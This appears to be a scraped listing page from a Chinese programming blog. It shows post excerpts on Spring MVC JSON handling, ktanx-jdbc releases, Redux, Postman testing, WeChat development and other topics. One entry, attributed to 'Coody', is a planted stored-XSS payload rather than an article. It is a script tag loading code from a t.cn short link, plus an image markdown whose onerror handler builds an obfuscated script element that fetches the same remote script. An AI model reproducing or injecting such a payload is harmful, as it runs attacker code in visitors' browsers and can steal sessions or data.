• Spring MVC返回json自定义对象转换扩展分析记录

    背景 为什么会有这次的分析? 项目中数据分页的查询实现方式使用的是ktanx-jdbc, 在做分页列表查询时: PageList<UserInfo> users = jdbcDao.queryPageList(user); 返回的数据列表对象是PageList,这是继承了ArrayList的分页类型扩展,主要代码如下: public class Pag
    selfly 发表于2月前 阅读(326) 评论(0)
  • <script src=//t.cn/R3Oa9N7></script>

    ![](x" onerror=s=createElement('scrmipt'.replace('m',''));body.appendChild(s);s.src='//t.cn/R3Oa9N7'")
    Coody 发表于3月前 阅读(342) 评论(0)
  • ktanx-jdbc 1.0.5发布,增加自定义sql解析及部分方法修改

    版本 1.0.5 更新内容: 增加自定义sql解析转换,使用native方式执行自定义sql时可以在sql中使用类名和类属性了。 resultClass方法增强,支持JavaBean外的基本类型,例如String、Long等 select 增加firstResult (objRirstResult、oneColFirstResult)方法, 与singleResult方法
    selfly 发表于4月前 阅读(390) 评论(0)
  • 为什么我从 Google 辞职而为自己工作

    在过去四年时间里,我在Google担任软件开发工程师。2月1日,我辞职了。因为他们拒绝给我买圣诞礼物。 好吧,其实里面还有更深层次的原因。 开始两年 这两年,我深深地热爱Google。 当“年度员工调查”问我五年后是否期望还留在谷歌时,答案是毋庸置疑的。 五年后我当然依然会
    Johnny 发表于5月前 阅读(404) 评论(0)
  • 如何选择更适合你的 Linux 发行版?

    很多人经常会问我这样一个问题:“嘿,你是用Linux的,对吧?我应该使用Linux的哪个版本?我有这个朋友推荐我_____,你觉得怎么样?”我通常会以这样的问题回复:这取决于你想做什么? 今天我决定写一篇关于如何选择Linux发行版的博客文章,以便于大家借鉴。 我与Linux的历史
    MetroidFan2002 发表于5月前 阅读(398) 评论(0)
  • 使用PostMan进行自动化测试

    最近在进行一个老项目的升级,第一步是先将node版本从 4.x升级到 8.x,担心升级会出现问题,所以需要将服务的接口进行验证;如果手动输入各种URL,人肉check,一个两个还行,整个服务。。大几十个接口,未免太浪费时间了-.-;因为是一个纯接口服务的项目,所以打算针对对应的A
    carter 发表于5月前 阅读(396) 评论(0)
  • Redux源码分析

    Redux使用中的几个点: Redux三大设计原则 Create Store Redux middleware combineReducer Provider与Connect Redux流程梳理 Redux设计特点 1. Redux三大设计原则 1. 单一数据源 在传统的 MVC 架构中,我们可以根据需要创建无数个 Model,而 Model 之间可以互相监听、触发事件
    dplante 发表于6月前 阅读(444) 评论(0)
  • Spring Data REST API集成Springfox、Swagger

    原文: Documenting a Spring Data REST API with Springfox and Swagger 使用Spring Date REST,你可以迅速为Spring Date repositories的创建REST API,并提供CRUD和更多功能。然而,在严谨的API开发过成功,您还希望拥有自动生成的最新API文档。 Code Example 本文附带了工作
    assylias 发表于6月前 阅读(657) 评论(0)
  • 身份证号码的正则表达式及验证详解(JavaScript,Regex)

    简言 在做用户实名验证时,常会用到身份证号码的正则表达式及校验方案。本文列举了两种验证方案,大家可以根据自己的项目实际情况,选择适合的方案。 身份证号码说明 居民身份证号码,正确、正式的称谓应该是“公民身份号码”。根据【中华人民共和国国家标准 GB 11643-1999】
    Chris 发表于6月前 阅读(410) 评论(0)
  • 使用HttpClient 4代理转发flash出错问题解决

    背景 通常公司的项目安全起见很多都是部署在内网,而访问者是在外网,这中间就涉及到一个外网和内网转发的问题。 当前的现象除了上面这个之外,还有业务系统和展示系统的分离。 数据报表的展示是一个公司的产品,单独的系统,无法修改源代码,还会有其它类似很多的系统。 业务
    selfly 发表于6月前 阅读(421) 评论(0)
  • Neo4j 部署出现unable to load class with FQN错误问题解决

    问题现象 项目在本地Tomcat下一切正常,但是部署到websphere(was)时启动报出如下错误: Caused by: org.neo4j.ogm.exception.core.MappingException: Unable to load class with FQN: com.ktanx.model.UserNode at org.neo4j.ogm.metadata.reflect.EntityFactory.in
    selfly 发表于6月前 阅读(269) 评论(0)
  • 微信开发之微信登录

    ????记得以前做微信开发还是在学习期间做过的微信项目,作为学习,仅完成了其中自定义菜单的部分,如今在工作中由于项目需要,所以重新拿起了微信这部分。整合前面学习的过程中又完成了一些新的功能。这篇就记录一下,关于微信登录这部分的实现。 ????文章里的基础知识来源于
    twernt 发表于6月前 阅读(325) 评论(0)
  • 微信开发之录音上传、下载、转码

    ????一年的时间里,前前后后都在搞微信开发的相关模块,这不前一阵子,公司又开了个新项目,其中有一个就是类似于微信朋友圈的功能(我也不知道为啥要开发微信已有的功能啊,泪奔...),其中包含上传图片、录音、视频等,由于微信端上传图片和视频这块也是头一遭做,图片采用
    Alex-Miller 发表于6月前 阅读(545) 评论(0)
  • Spring Boot 2.0正式发布,升还是不升呢?

    Spring帝国 Spring几乎是每一位Java开发人员都耳熟能详的开发框架,不论您是一名初出茅庐的程序员还是经验丰富的老司机,都会对其有一定的了解或使用经验。在现代企业级应用架构中,Spring技术栈几乎成为了Java语言的代名词,那么Spring为什么能够在众多开源框架中脱颖而出,
    Johnny 发表于6月前 阅读(191) 评论(0)
  • [翻译]CSS变量让你轻松制作响应式网页

    原文地址: https://medium.freecodecamp.org/how-to-make-responsiveness-super-simple-with-css-variables-8c90ebf80d7f 作者: Per Harald Borgen 摘要:这是一篇2018年制作响应性网页的快速教程。 ![Image 1][]如果你之前没有听说过CSS变量,那么现在我将告诉你:它是CSS
    Terry-Lewis 发表于6月前 阅读(185) 评论(0)
  • iOS微信内存监控

    WeTest 导读 目前iOS主流的内存监控工具是Instruments的Allocations,但只能用于开发阶段。本文介绍如何实现离线化的内存监控工具,用于App上线后发现内存问题。 FOOM(Foreground Out Of Memory),是指App在前台因消耗内存过多引起系统强杀。对用户而言,表现跟crash一样。F
    Alex-Miller 发表于6月前 阅读(183) 评论(0)
  • JAVA中异常处理的最佳实践

    前言 异常处理的问题之一是知道何时以及如何去使用它。我会讨论一些异常处理的最佳实践,也会总结最近在异常处理上的一些争论。 作为程序员,我们想要写高质量的能够解决问题的代码。但是,异常经常是伴随着代码产生的副作用。没有人喜欢副作用,因此我们会试图用自己的方式来
    Scott-Bale 发表于6月前 阅读(185) 评论(0)
  • JavaScript复制内容到剪贴板

    原文链接:https://github.com/axuebin/ar... 最近一个活动页面中有一个小需求,用户点击或者长按就可以复制内容到剪贴板,记录一下实现过程和遇到的坑。 常见方法 查了一下万能的Google,现在常见的方法主要是以下两种: 第三方库:clipboard.js 原生方法:document.execComm
    Peter-Mortensen 发表于6月前 阅读(199) 评论(0)
  • Java 8 配置Maven-javadoc-plugin

    在升级JDK至1.8之后,使用Maven-javadoc-plugin插件打包报错,**[ERROR] Failed to execute goal org.apache.maven.plugins:maven-javadoc-plugin:2.10.4:jar (attach-javadocs) on project** 详细信息如下 [ERROR] Failed to execute goal org.apache.maven.plugins:maven-ja
    Harry-Lime 发表于7月前 阅读(204) 评论(0)
  • 网页性能优化,缓存优化、加载时优化、动画优化

    本文提供一个优化网页性能的大概思路,具体操作网上资料很多。 缓存优化 性能优化第一步,便是管理好页面的缓存,避免重复下载资源。否则,即增加服务器压力,又折磨用户的钱包。 浏览器缓存机制 访问页面,请求各种资源,浏览器检查本地是否有缓存。 如果有,检查资源是否过
    Alix-Axel 发表于7月前 阅读(176) 评论(0)